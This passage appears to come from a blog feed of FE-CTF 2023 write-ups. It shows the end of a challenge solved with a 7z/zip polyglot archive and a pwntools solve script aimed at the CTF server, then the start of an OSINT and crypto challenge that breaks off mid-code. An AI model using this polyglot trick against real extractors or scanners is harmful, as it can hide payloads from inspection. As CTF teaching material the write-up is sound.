</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>At it Cadet. We haven&#39;t got all day!  Let&#39;s see this file.
</span></span><span style="display:flex;"><span>Receiving file.. 1
</span></span><span style="display:flex;"><span>OK
</span></span><span style="display:flex;"><span>Systems check:
</span></span><span style="display:flex;"><span>  unzip: UnZip 6.00 of 20 April 2009, by Debian. Original by Info-ZIP.
</span></span><span style="display:flex;"><span>  7z: 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
</span></span><span style="display:flex;"><span>  zipdetails:
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Running unzip test.. Bad news, cadet! It seems unzip failed:
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>    Command &#39;[&#39;unzip&#39;, &#39;-t&#39;, &#39;/tmp/tmpq9jn5jk2.zip&#39;]&#39; returned
</span></span><span style="display:flex;"><span>    non-zero exit status 9.
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>No flag for you!
</span></span></code></pre></div><h2 id="polyglotting">Polyglotting</h2>
<p>So it seems that we need to create a compressed file where 7-zip and unzip both only see their own file in.</p>
<p>We can solve this with a polyglot file, which is a file that is actually two different files, so the plan is to make a 7-zip archive and a normal zip archive and append their data together, such that 7-zip sees the 7-zip header and extracts that, while unzip skips over the 7-zip file to find the zip file header in the second half of the file.</p>
<p>So lets test this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ echo <span style="color:#e6db74">&#34;Content of file 1&#34;</span> &gt; file1.txt
</span></span><span style="display:flex;"><span>$ 7zz a file1.7z file1.txt
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>7-Zip (z) 23.01 (arm64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
</span></span><span style="display:flex;"><span> 64-bit arm_v:8 locale=en_US.UTF-8 Threads:8 OPEN_MAX:2560, ASM
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Scanning the drive:
</span></span><span style="display:flex;"><span>1 file, 18 bytes (1 KiB)
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Creating archive: file1.7z
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Add new data to archive: 1 file, 18 bytes (1 KiB)
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Files read from disk: 1
</span></span><span style="display:flex;"><span>Archive size: 144 bytes (1 KiB)
</span></span><span style="display:flex;"><span>Everything is Ok
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ echo <span style="color:#e6db74">&#34;Content of file 2&#34;</span> &gt; file2.txt
</span></span><span style="display:flex;"><span>$ zip file2.zip file2.txt
</span></span><span style="display:flex;"><span>  adding: file2.txt (stored 0%)
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ cat file1.7z file2.zip &gt; polyglot.zip
</span></span><span style="display:flex;"><span>$ file --keep-going polyglot.zip
</span></span><span style="display:flex;"><span>polyglot.zip: 7-zip archive data, version 0.4
</span></span><span style="display:flex;"><span>- data
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ 7zz x polyglot.zip
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>7-Zip (z) 23.01 (arm64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
</span></span><span style="display:flex;"><span> 64-bit arm_v:8 locale=en_US.UTF-8 Threads:8 OPEN_MAX:2560, ASM
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Scanning the drive for archives:
</span></span><span style="display:flex;"><span>1 file, 331 bytes (1 KiB)
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Extracting archive: polyglot.zip
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>WARNINGS:
</span></span><span style="display:flex;"><span>There are data after the end of archive
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>WARNING:
</span></span><span style="display:flex;"><span>polyglot.zip
</span></span><span style="display:flex;"><span>Cannot open the file as [zip] archive
</span></span><span style="display:flex;"><span>The file is open as [7z] archive
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>--
</span></span><span style="display:flex;"><span>Path = polyglot.zip
</span></span><span style="display:flex;"><span>Open WARNING: Cannot open the file as [zip] archive
</span></span><span style="display:flex;"><span>Type = 7z
</span></span><span style="display:flex;"><span>WARNINGS:
</span></span><span style="display:flex;"><span>There are data after the end of archive
</span></span><span style="display:flex;"><span>Physical Size = 144
</span></span><span style="display:flex;"><span>Tail Size = 187
</span></span><span style="display:flex;"><span>Headers Size = 122
</span></span><span style="display:flex;"><span>Method = LZMA2:12
</span></span><span style="display:flex;"><span>Solid = -
</span></span><span style="display:flex;"><span>Blocks = 1
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Would you like to replace the existing file:
</span></span><span style="display:flex;"><span>  Path:     ./file1.txt
</span></span><span style="display:flex;"><span>  Size:     18 bytes (1 KiB)
</span></span><span style="display:flex;"><span>  Modified: 2023-11-01 09:12:02
</span></span><span style="display:flex;"><span>with the file from archive:
</span></span><span style="display:flex;"><span>  Path:     file1.txt
</span></span><span style="display:flex;"><span>  Size:     18 bytes (1 KiB)
</span></span><span style="display:flex;"><span>  Modified: 2023-11-01 09:12:02
</span></span><span style="display:flex;"><span>? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? n
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Everything is Ok
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Archives with Warnings: 1
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Warnings: 1
</span></span><span style="display:flex;"><span>Size:       18
</span></span><span style="display:flex;"><span>Compressed: 331
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ unzip polyglot.zip
</span></span><span style="display:flex;"><span>Archive:  polyglot.zip
</span></span><span style="display:flex;"><span>warning [polyglot.zip]:  144 extra bytes at beginning or within zipfile
</span></span><span style="display:flex;"><span>  (attempting to process anyway)
</span></span><span style="display:flex;"><span>replace file2.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: n
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ echo $?
</span></span><span style="display:flex;"><span>1
</span></span></code></pre></div><p>So it seems to work, the only problem is that unzip throws a warning that makes the return value non-zero, luckily we can fix this with <code>zip -F</code> to fix the offset:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ zip -F polyglot.zip --out fixedpolyglot.zip
</span></span><span style="display:flex;"><span>Fix archive (-F) - assume mostly intact archive
</span></span><span style="display:flex;"><span>Zip entry offsets appear off by 144 bytes - correcting...
</span></span><span style="display:flex;"><span> copying: file2.txt
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ 7zz x fixedpolyglot.zip
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>7-Zip (z) 23.01 (arm64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
</span></span><span style="display:flex;"><span> 64-bit arm_v:8 locale=en_US.UTF-8 Threads:8 OPEN_MAX:2560, ASM
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Scanning the drive for archives:
</span></span><span style="display:flex;"><span>1 file, 331 bytes (1 KiB)
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Extracting archive: fixedpolyglot.zip
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>WARNINGS:
</span></span><span style="display:flex;"><span>There are data after the end of archive
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>WARNING:
</span></span><span style="display:flex;"><span>fixedpolyglot.zip
</span></span><span style="display:flex;"><span>Cannot open the file as [zip] archive
</span></span><span style="display:flex;"><span>The file is open as [7z] archive
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>--
</span></span><span style="display:flex;"><span>Path = fixedpolyglot.zip
</span></span><span style="display:flex;"><span>Open WARNING: Cannot open the file as [zip] archive
</span></span><span style="display:flex;"><span>Type = 7z
</span></span><span style="display:flex;"><span>WARNINGS:
</span></span><span style="display:flex;"><span>There are data after the end of archive
</span></span><span style="display:flex;"><span>Physical Size = 144
</span></span><span style="display:flex;"><span>Tail Size = 187
</span></span><span style="display:flex;"><span>Headers Size = 122
</span></span><span style="display:flex;"><span>Method = LZMA2:12
</span></span><span style="display:flex;"><span>Solid = -
</span></span><span style="display:flex;"><span>Blocks = 1
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Would you like to replace the existing file:
</span></span><span style="display:flex;"><span>  Path:     ./file1.txt
</span></span><span style="display:flex;"><span>  Size:     18 bytes (1 KiB)
</span></span><span style="display:flex;"><span>  Modified: 2023-11-01 09:12:02
</span></span><span style="display:flex;"><span>with the file from archive:
</span></span><span style="display:flex;"><span>  Path:     file1.txt
</span></span><span style="display:flex;"><span>  Size:     18 bytes (1 KiB)
</span></span><span style="display:flex;"><span>  Modified: 2023-11-01 09:12:02
</span></span><span style="display:flex;"><span>? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? n
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Everything is Ok
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Archives with Warnings: 1
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Warnings: 1
</span></span><span style="display:flex;"><span>Size:       18
</span></span><span style="display:flex;"><span>Compressed: 331
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ unzip fixedpolyglot.zip
</span></span><span style="display:flex;"><span>Archive:  fixedpolyglot.zip
</span></span><span style="display:flex;"><span>replace file2.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: n
</span></span></code></pre></div><h2 id="solving-and-flag">Solving and flag</h2>
<p>We can solve the challenge on the remote by automating the polyglot generation and sending the polyglot to the server.</p>
<p>For this I wrote the following solve script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> pwn <span style="color:#f92672">import</span> remote
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> os <span style="color:#f92672">import</span> system, path
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>conn <span style="color:#f92672">=</span> remote(<span style="color:#e6db74">&#34;brannigans-law.hack.fe-ctf.dk&#34;</span>, <span style="color:#ae81ff">1337</span>)
</span></span><span style="display:flex;"><span>conn<span style="color:#f92672">.</span>recvuntil(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#34;&#39;&#34;</span>)
</span></span><span style="display:flex;"><span>file1_name <span style="color:#f92672">=</span> conn<span style="color:#f92672">.</span>recvuntil(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#34;&#39;&#34;</span>)<span style="color:#f92672">.</span>decode()[:<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]
</span></span><span style="display:flex;"><span>conn<span style="color:#f92672">.</span>recvuntil(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#34;&#39;&#34;</span>)
</span></span><span style="display:flex;"><span>file1_contents <span style="color:#f92672">=</span> conn<span style="color:#f92672">.</span>recvuntil(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#34;&#39;&#34;</span>)<span style="color:#f92672">.</span>decode()[:<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]
</span></span><span style="display:flex;"><span>conn<span style="color:#f92672">.</span>recvuntil(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#34;&#39;&#34;</span>)
</span></span><span style="display:flex;"><span>file2_name <span style="color:#f92672">=</span> conn<span style="color:#f92672">.</span>recvuntil(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#34;&#39;&#34;</span>)<span style="color:#f92672">.</span>decode()[:<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]
</span></span><span style="display:flex;"><span>conn<span style="color:#f92672">.</span>recvuntil(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#34;&#39;&#34;</span>)
</span></span><span style="display:flex;"><span>file2_contents <span style="color:#f92672">=</span> conn<span style="color:#f92672">.</span>recvuntil(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#34;&#39;&#34;</span>)<span style="color:#f92672">.</span>decode()[:<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]
</span></span><span style="display:flex;"><span>conn<span style="color:#f92672">.</span>recv()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(file1_name, <span style="color:#e6db74">&#39;w&#39;</span>) <span style="color:#66d9ef">as</span> fp:
</span></span><span style="display:flex;"><span>    fp<span style="color:#f92672">.</span>write(file1_contents)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(file2_name, <span style="color:#e6db74">&#39;w&#39;</span>) <span style="color:#66d9ef">as</span> fp:
</span></span><span style="display:flex;"><span>    fp<span style="color:#f92672">.</span>write(file2_contents)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>system(<span style="color:#e6db74">&#34;7zz a file1.7z &#34;</span> <span style="color:#f92672">+</span> file1_name)
</span></span><span style="display:flex;"><span>system(<span style="color:#e6db74">&#34;zip file2.zip &#34;</span> <span style="color:#f92672">+</span> file2_name)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#34;file1.7z&#34;</span>, <span style="color:#e6db74">&#34;rb&#34;</span>) <span style="color:#66d9ef">as</span> fp:
</span></span><span style="display:flex;"><span>    zip1_data <span style="color:#f92672">=</span> fp<span style="color:#f92672">.</span>read()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#34;file2.zip&#34;</span>, <span style="color:#e6db74">&#34;rb&#34;</span>) <span style="color:#66d9ef">as</span> fp:
</span></span><span style="display:flex;"><span>    zip2_data <span style="color:#f92672">=</span> fp<span style="color:#f92672">.</span>read()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>parasite_data <span style="color:#f92672">=</span> zip1_data <span style="color:#f92672">+</span> zip2_data
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#34;parasite.zip&#34;</span>, <span style="color:#e6db74">&#34;wb&#34;</span>) <span style="color:#66d9ef">as</span> fp:
</span></span><span style="display:flex;"><span>    fp<span style="color:#f92672">.</span>write(parasite_data)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>system(<span style="color:#e6db74">&#34;zip -F parasite.zip --out solve.zip&#34;</span>)
</span></span><span style="display:flex;"><span>psize <span style="color:#f92672">=</span> path<span style="color:#f92672">.</span>getsize(<span style="color:#e6db74">&#34;solve.zip&#34;</span>)
</span></span><span style="display:flex;"><span>print(psize)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>conn<span style="color:#f92672">.</span>sendline(str(psize)<span style="color:#f92672">.</span>encode())
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>conn<span style="color:#f92672">.</span>recvuntil(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;file..&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#34;solve.zip&#34;</span>, <span style="color:#e6db74">&#34;rb&#34;</span>) <span style="color:#66d9ef">as</span> fp:
</span></span><span style="display:flex;"><span>    conn<span style="color:#f92672">.</span>sendline(fp<span style="color:#f92672">.</span>read())
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>conn<span style="color:#f92672">.</span>interactive()
</span></span></code></pre></div><p>And in action:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ python3 solve.py
</span></span><span style="display:flex;"><span>[+] Opening connection to brannigans-law.hack.fe-ctf.dk on port 1337: Done
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>7-Zip (z) 23.01 (arm64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
</span></span><span style="display:flex;"><span> 64-bit arm_v:8 locale=en_US.UTF-8 Threads:8 OPEN_MAX:2560, ASM
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Open archive: file1.7z
</span></span><span style="display:flex;"><span>--
</span></span><span style="display:flex;"><span>Path = file1.7z
</span></span><span style="display:flex;"><span>Type = 7z
</span></span><span style="display:flex;"><span>Physical Size = 144
</span></span><span style="display:flex;"><span>Headers Size = 122
</span></span><span style="display:flex;"><span>Method = LZMA2:12
</span></span><span style="display:flex;"><span>Solid = -
</span></span><span style="display:flex;"><span>Blocks = 1
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Scanning the drive:
</span></span><span style="display:flex;"><span>1 file, 12 bytes (1 KiB)
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Updating archive: file1.7z
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Keep old data in archive: 1 file, 18 bytes (1 KiB)
</span></span><span style="display:flex;"><span>Add new data to archive: 1 file, 12 bytes (1 KiB)
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Files read from disk: 1
</span></span><span style="display:flex;"><span>Archive size: 225 bytes (1 KiB)
</span></span><span style="display:flex;"><span>Everything is Ok
</span></span><span style="display:flex;"><span>  adding: tuCpTnMSbzWwyTMWrUcmPspKN.txt (stored 0%)
</span></span><span style="display:flex;"><span>Fix archive (-F) - assume mostly intact archive
</span></span><span style="display:flex;"><span>Zip entry offsets appear off by 225 bytes - correcting...
</span></span><span style="display:flex;"><span> copying: file2.txt
</span></span><span style="display:flex;"><span> copying: tuCpTnMSbzWwyTMWrUcmPspKN.txt
</span></span><span style="display:flex;"><span>612
</span></span><span style="display:flex;"><span>[*] Switching to interactive mode
</span></span><span style="display:flex;"><span> OK
</span></span><span style="display:flex;"><span>Systems check:
</span></span><span style="display:flex;"><span>  unzip: UnZip 6.00 of 20 April 2009, by Debian. Original by Info-ZIP.
</span></span><span style="display:flex;"><span>  7z: 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
</span></span><span style="display:flex;"><span>  zipdetails:
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Running unzip test.. OK
</span></span><span style="display:flex;"><span>Running 7z test.. OK
</span></span><span style="display:flex;"><span>Running zipdetails test.. OK
</span></span><span style="display:flex;"><span>Extracting with 7z.. OK
</span></span><span style="display:flex;"><span>Trying wrong file with 7z.. OK
</span></span><span style="display:flex;"><span>Extracting with unzip.. OK
</span></span><span style="display:flex;"><span>Extracting wrong file with unzip.. OK
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>You did well! Here, have a flag. It&#39;s made of *velour*:
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>flag{i_dont_pretend_to_understand_brannigans_law_i_merely_enforce_it}
</span></span><span style="display:flex;"><span>[*] Got EOF while reading in interactive
</span></span><span style="display:flex;"><span>$
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Closed connection to brannigans-law.hack.fe-ctf.dk port <span style="color:#ae81ff">1337</span>
</span></span></code></pre></div><p>Thrus the flag is <code>flag{i_dont_pretend_to_understand_brannigans_law_i_merely_enforce_it}</code></p>
]]></content></item><item><title>FE-CTF 2023 - The Fight of the Unicorn Fans Clubs</title><link>https://osiriz.dev/posts/2023/10/fe-ctf-2023-the-fight-of-the-unicorn-fans-clubs/</link><pubDate>Tue, 31 Oct 2023 11:00:00 +0100</pubDate><guid>https://osiriz.dev/posts/2023/10/fe-ctf-2023-the-fight-of-the-unicorn-fans-clubs/</guid><description>The Task at hand We are given the following task:
Your best friend has asked for your help. She is the president of a unicorn fan club in a small village in Jutland. For years they have competed with the neighboring village about who has the best unicorn fan club. Rumor says that trusted members in the other club have access to an amazing picture of a unicorn. An insider in the other fan club has given your friend the following photos.</description><content type="html"><![CDATA[<h2 id="the-task-at-hand">The Task at hand</h2>
<p>We are given the following task:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Your best friend has asked for your help. She is the president of a
</span></span><span style="display:flex;"><span>unicorn fan club in a small village in Jutland. For years they have
</span></span><span style="display:flex;"><span>competed with the neighboring village about who has the best unicorn
</span></span><span style="display:flex;"><span>fan club. Rumor says that trusted members in the other club have
</span></span><span style="display:flex;"><span>access to an amazing picture of a unicorn. An insider in the other
</span></span><span style="display:flex;"><span>fan club has given your friend the following photos. Your friend
</span></span><span style="display:flex;"><span>hopes that there is something in the photos that can help you gain
</span></span><span style="display:flex;"><span>access to the other clubs amazing unicorn picture.
</span></span></code></pre></div><p>And some AI-generated images of hacker-corns, in which we are only really interested in two of them since we can their screens:

    <img src="https://filehost.osiriz.xyz/homepage/img/fectf2023/unicornfanclubs/saturday_fun1.png"  class="center"  />



    <img src="https://filehost.osiriz.xyz/homepage/img/fectf2023/unicornfanclubs/saturday_fun4.png"  class="center"  />

</p>
<h2 id="recon">Recon</h2>
<p>In the first image we can spot the following URL: <code>stackoverflow.com/users/22662719/newbielookingforhelp357</code></p>
<p>If the check out the URL we get the following:

    <img src="https://filehost.osiriz.xyz/homepage/img/fectf2023/unicornfanclubs/stackoverflow.png"  class="center"  />

</p>
<p>We can see that there is a github link on the account, lets look there.
URL: <code>github.com/TakingOverTheUnicornWorld</code>

    <img src="https://filehost.osiriz.xyz/homepage/img/fectf2023/unicornfanclubs/github_profile.png"  class="center"  />

</p>
<p>We can see that they have a EncryptorDecryptor repo:

    <img src="https://filehost.osiriz.xyz/homepage/img/fectf2023/unicornfanclubs/github_repo.png"  class="center"  />

</p>
<p>This might have something to do with the base64 on the second image. Looking at the python file we can see that it uses rot4 and fernet to encrypt messages:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># How to encrypt and decrypt my most secret information</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># STEP ONE: Caesar Cipher / ROT-n</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># since the numerology number of unicorns are 4, I first encode my secret messages with a caesar cipher with a right shift of 4:</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> string
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>alphabets <span style="color:#f92672">=</span> (string<span style="color:#f92672">.</span>ascii_lowercase, string<span style="color:#f92672">.</span>ascii_uppercase, string<span style="color:#f92672">.</span>digits)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">caesar</span>(text, step, alphabets):
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">shift</span>(alphabet):
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> alphabet[step:] <span style="color:#f92672">+</span> alphabet[:step]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    shifted_alphabets <span style="color:#f92672">=</span> tuple(map(shift, alphabets))
</span></span><span style="display:flex;"><span>    joined_alphabets <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span><span style="color:#f92672">.</span>join(alphabets)
</span></span><span style="display:flex;"><span>    joined_shifted_alphabets <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span><span style="color:#f92672">.</span>join(shifted_alphabets)
</span></span><span style="display:flex;"><span>    table <span style="color:#f92672">=</span> str<span style="color:#f92672">.</span>maketrans(joined_alphabets, joined_shifted_alphabets)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> text<span style="color:#f92672">.</span>translate(table)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Write string to encrypt and chose number of shifts</span>
</span></span><span style="display:flex;"><span>encrypted_caesar<span style="color:#f92672">=</span>caesar(<span style="color:#e6db74">&#39;Here I enter the message I wish to encrypt&#39;</span>, step<span style="color:#f92672">=</span><span style="color:#ae81ff">4</span>, alphabets<span style="color:#f92672">=</span>alphabets)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># STEP TWO: Fernet encryption</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># I then encrypt my output from the caesar encryption with Fernet:</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> cryptography.fernet <span style="color:#f92672">import</span> Fernet
</span></span><span style="display:flex;"><span>
